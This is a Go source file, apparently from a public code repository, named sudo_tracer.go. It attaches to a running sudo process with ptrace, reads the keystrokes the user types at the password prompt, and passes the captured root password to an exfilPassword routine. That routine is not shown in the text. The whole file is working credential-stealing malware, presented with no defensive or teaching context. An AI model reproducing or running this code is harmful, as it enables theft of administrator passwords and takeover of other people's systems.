-
Notifications
You must be signed in to change notification settings - Fork 0
/
sudo_tracer.go
64 lines (59 loc) · 1.2 KB
/
sudo_tracer.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package main
import (
"runtime"
"syscall"
)
func traceSUDOProcess(pid int) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
}()
var wstatus syscall.WaitStatus
var password string
var bitFlip bool
for {
_, err := syscall.Wait4(pid, &wstatus, 0, nil)
if err != nil {
return
}
if wstatus.Exited() {
return
}
if wstatus.StopSignal() == syscall.SIGTRAP {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, ®s)
if err != nil {
syscall.PtraceDetach(pid)
return
}
if (regs.Rdi == 6 || regs.Rdi == 8) && regs.Orig_rax == 0 {
buffer := make([]byte, regs.Rdx)
_, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
if err != nil {
return
}
if len(buffer) == 1 {
for _, char := range buffer {
if char == '\n' {
go exfilPassword("root", password)
password = ""
break
} else if char != '\x00' && len(buffer) == 1 && bitFlip {
password += string(char)
}
}
}
bitFlip = !bitFlip
}
}
err = syscall.PtraceSyscall(pid, 0)
if err != nil {
return
}
}
}